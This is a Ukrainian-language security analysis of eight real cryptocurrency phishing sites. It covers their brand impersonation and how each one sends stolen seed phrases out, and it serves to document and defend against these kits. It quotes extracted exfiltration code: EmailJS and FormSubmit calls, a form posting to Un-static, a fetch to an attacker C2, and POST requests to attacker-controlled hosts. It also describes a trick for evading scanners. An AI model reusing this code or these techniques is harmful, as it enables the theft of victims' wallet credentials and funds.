Анатомія криптофішингу:
Аналіз 8 реальних атак

Видавання себе за іншу особу

Вигаданий «децентралізований протокол» для перевірки гаманців. Для підвищення довіри використовує тикери цін CryptoCompare у режимі реального часу та посилання на справжні блокчейн-експлорери (Ethereum, BSC, Polygon, Avalanche, Solana, Cardano). На головній сторінці розміщено понад 100 логотипів гаманців та описано 3-етапний процес «перевірки».

Подвійний ланцюг виведення інформації

Найдосконаліший бекенд із усіх п’яти — кожні викрадені облікові дані надсилаються через два незалежні канали одночасно:

Victim submits seed phrase
  |
  +--> Channel 1: axios POST --> Express.js on Render.com
  |      |
  |      +--> Telegram Bot API --> @metatech2 (instant DM)
  |
  +--> Channel 2: fetch POST --> EmailJS API
         |
         +--> Bestgrace309@gmail.com (email backup)

Результати аналізу OSINT

Видавання себе за іншу особу

Ідеальне відтворення реальності на рівні пікселів Aqualibre (AQLA) сторінка міграції токенів. У коді HTML міститься тег метаданих, що вказує на джерело: data-scrapbook-source="https://token.aqla.app/migration", з датою 19 листопада 2024 року.

Підхід «без коду»

Цьому зловмиснику потрібно зовсім немає коду на стороні сервера. Ця форма надсилає дані безпосередньо на Нестатичний — легітимний бекенд для статичних сайтів. Кожне подання пересилається на електронну адресу шахрая. Електронна адреса зловмисника — це ніколи не відображається у вихідному коді.

<form action="https://forms.un-static.com/forms/c78173e2d991...94c3f76">
  <textarea name="phrase"></textarea>
  <input name="private-key" />
  <textarea name="keystore-json"></textarea>
  <input name="password" />
</form>

Видавання себе за іншу особу

Субдомен містить "safpal" — це навмисна помилка в написанні слова SafePal, популярний апаратний гаманець. Сайт видає себе за «Blockchain Wallet Rectification» із 26 фейковими категоріями новин. Використовує Typed.js для анімації назв блокчейнів (Ethereum, BSC, Polygon...) та тікер LiveCoinWatch для створення враження достовірності.

Той самий комплект, той самий оператор?

Використовує абсолютно той самий шаблон фішингового листа як об’єкт № 2: ідентичний connect.html, ідентичний wallets.html з понад 60 логотипами, на базі того самого бекенду Un-static (з іншим ідентифікатором форми — 6f1b82c3...da9943af). Наявність ідентичного набору дає підстави припустити, що один оператор, який керує обома сайтами.

Помилки в коді: «Privay Policy» (бракує літери «c»), «seperated» (повинно бути «separated»), «Kestore» (бракує літери «y»). У полі для введення пароля використовується type="text" замість type="password".

Видавання себе за іншу особу

Майже ідеальний клон Мережа Flare портал — справжній блокчейн EVM рівня 1 із протоколами FTSO та Data Connector. Відтворює понад 30 партнерів екосистеми, навігацію та брендинг. Фавікони завантажуються з типосквоту: portal.flaremainet.com (у слові «mainnet» бракує однієї літери «n»).

Подвійне резервування EmailJS

Єдиний сайт, який використовує дві окремі облікові записи EmailJS одночасно для забезпечення відмовостійкості проти ліквідації:

// Channel 1: EmailJS SDK
emailjs.send('service_6dt5h1k', 'template_hjqp9gb', payload)
// Key: Sza6lhzA9hKHrm1k4

// Channel 2: jQuery AJAX direct
$.ajax('https://api.emailjs.com/api/v1.0/email/send', {
  data: { service_id: 'service_isy47de',
          template_id: 'template_dkk4d1b',
          user_id: 'JsVEgXVcaSTro1etu' }
})

Тема електронного листа щодо кожного випадку крадіжки: "New Wallet Details from Flare".

Сайт № 4: платна реклама, аналітичне відстеження та подвійна викрадення даних — найпрофесійніша операція

Видавання себе за іншу особу

Загальна послуга «COIN NODE» / «Wallet Fix» (без зазначення конкретної марки). Авторські права «Wallet Fix 2022» — цьому шаблону набору щонайменше 4 роки. Зображення розміщені на pumpeth.com (WordPress на AWS).

«Фішинг як послуга»

Найбільш тривожна архітектура бекенду: а Багатокористувацький API на основі UUID:

POST https://api.pulseresolve.com/a26db20c-1dc4-4208-a60a-c2c3b22c02ef
Content-Type: multipart/form-data

wallet=Metamask&type=phrase&phrase=buddy+surprise+vapor+river+...

Кожен шахрай отримує власний кінцевий пункт з унікальним ідентифікатором (UUID). Центральний оператор обслуговує API, відстежує кампанії та, можливо, отримує частину вкрадених коштів. Це організоване викрадення криптовалюти — модель «фішингу як послуги».

Супутня інфраструктура (практично недіюча)

Видавання себе за іншу особу

A двостороння операція: загальний «Центр підтримки» за адресою wallet-support-39n.pages.dev з 15 вигаданими категоріями випусків та 39 брендами гаманців, а також Ідеальний клон процесу реєстрації в Ledger в ledger-recovery.support розміщено на Replit — із можливістю вибору моделі пристрою, налаштування PIN-коду та таблицею початкової фрази з 24 слів із справжня функція автозаповнення за алгоритмом BIP39.

Бекенд C2 для захисту від сканерів

Сторінка підтримки гаманця надсилає викрадені дані на api.uranustoken.org/log — власний C2 на базі nginx/Ubuntu за Cloudflare. Бекенд навмисно відхиляє всі запити GET (повертає код 522 «тайм-аут»), реагуючи лише на запити POST. Це означає, що сканери URL-адрес, роботи Google Safe Browsing та дослідники в галузі безпеки, які надсилають запити GET на цей кінцевий пункт, нічого не бачать — C2 здається неактивним.

// config.js — C2 config exposed in plaintext
const config = {
  serverURL: "https://api.uranustoken.org",
  allowedWallets: ["phantom","solfare","metamask","trustwallet",
    "coinbasewallet","ledger","trezor","okx","sui","backpack",
    "tonkeeper","magiceden","slush" /* + 26 more */]
};
window.IWMConfig = config;

// Exfiltration function (deobfuscated from bundle)
function Ae(seedPhrase, passPhrase, walletName) {
  fetch(serverURL + "/log", {
    method: "POST",
    headers: {"Content-Type": "application/json"},
    body: JSON.stringify({seedPhrase, passPhrase, walletName, apiKey})
  })
}

Клон Ledger запускає окремий бекенд на Express.js безпосередньо на Replit: POST /api/recovery-phrase збір {deviceId, pin, phrase}. Він повертає 400 {"error":"Invalid data provided"} у разі некоректних вхідних даних — підтвердження того, що серверна частина працює та активно перевіряється викрадені дані.

Результати аналізу OSINT

Видавання себе за іншу особу

Універсальна «децентралізована платформа для запуску» з 21 категорія приманок (стейкінг, міграція, KYC, розіграші, отримання винагород, відновлення активів, попередній продаж, випуск NFT, заблоковані облікові записи...) та Понад 70 брендів гаманців — один із найповніших списків гаманців, які нам траплялися. Характерна орфографічна помилка «Sychronize» (відсутня літера «n») викриває підробку.

Конвеєр FormSubmit Pipeline

Застосування FormSubmit.co — легальний сервіс для надсилання форм на електронну пошту. Хеш кінцевої точки a2cf4131f1a5d39453c7c183df96f86f — це MD5-хаш адреси електронної пошти шахрая. Ми перевірили методом повного перебору сотні шаблонів адрес електронної пошти в сервісах Gmail, Yahoo, Hotmail, ProtonMail, Yandex та Mail.ru — не знайдено. Шахрай використовує незвичайну або випадково згенеровану адресу електронної пошти.

// Exfiltration via jQuery AJAX → FormSubmit → scammer email
$.ajax({
    url: "https://formsubmit.co/ajax/a2cf4131f1a5d39453c7c183df96f86f",
    method: "POST",
    dataType: "JSON",
    data: {
        dappWord: seedPhrase,       // THE STOLEN SEED PHRASE
        dappName: walletName,       // Which wallet was selected
        linkName: "DAPP DECENTRALIZED"  // Campaign identifier
    }
});

Результати аналізу OSINT

Видавання себе за іншу особу

Невідомо — і фронтенд, і бекенд перебувають у режимі офлайн. Судячи зі структури корисного навантаження, це була програма для викрадення фраз-посівів криптовалютних гаманців. Ця Публічний контейнер Cloudflare R2 (об'єктне сховище, а не Pages) — це добре задокументований вектор фішингу за даними компанії Netskope, було виявлено понад 5 000 шкідливих сторінок, а обсяг трафіку зріс у 61 разів.

Налаштування для «скрипт-кідді»

Найбільш примітивна операція у цій колекції. Фрази-насіння надсилаються слово за словом до PHP-скрипта, що працює на домашньому комп’ютері або VPS, підключеному через безкоштовну службу динамічного DNS:

POST mercifuljigga4real123.publicvm.com/fuc.php
Content-Type: application/x-www-form-urlencoded

pass=Word+1:+finger+%0AWord+2:+flag+%0AWord+3:+across
    +%0AWord+4:+admit+%0AWord+5:+weather+%0AWord+6:+fragile
    +%0AWord+7:+trick+%0AWord+8:+weekend+%0AWord+9:+gift
    +%0AWord+10:+grit+%0AWord+11:+borrow+%0AWord+12:+access

Результати аналізу OSINT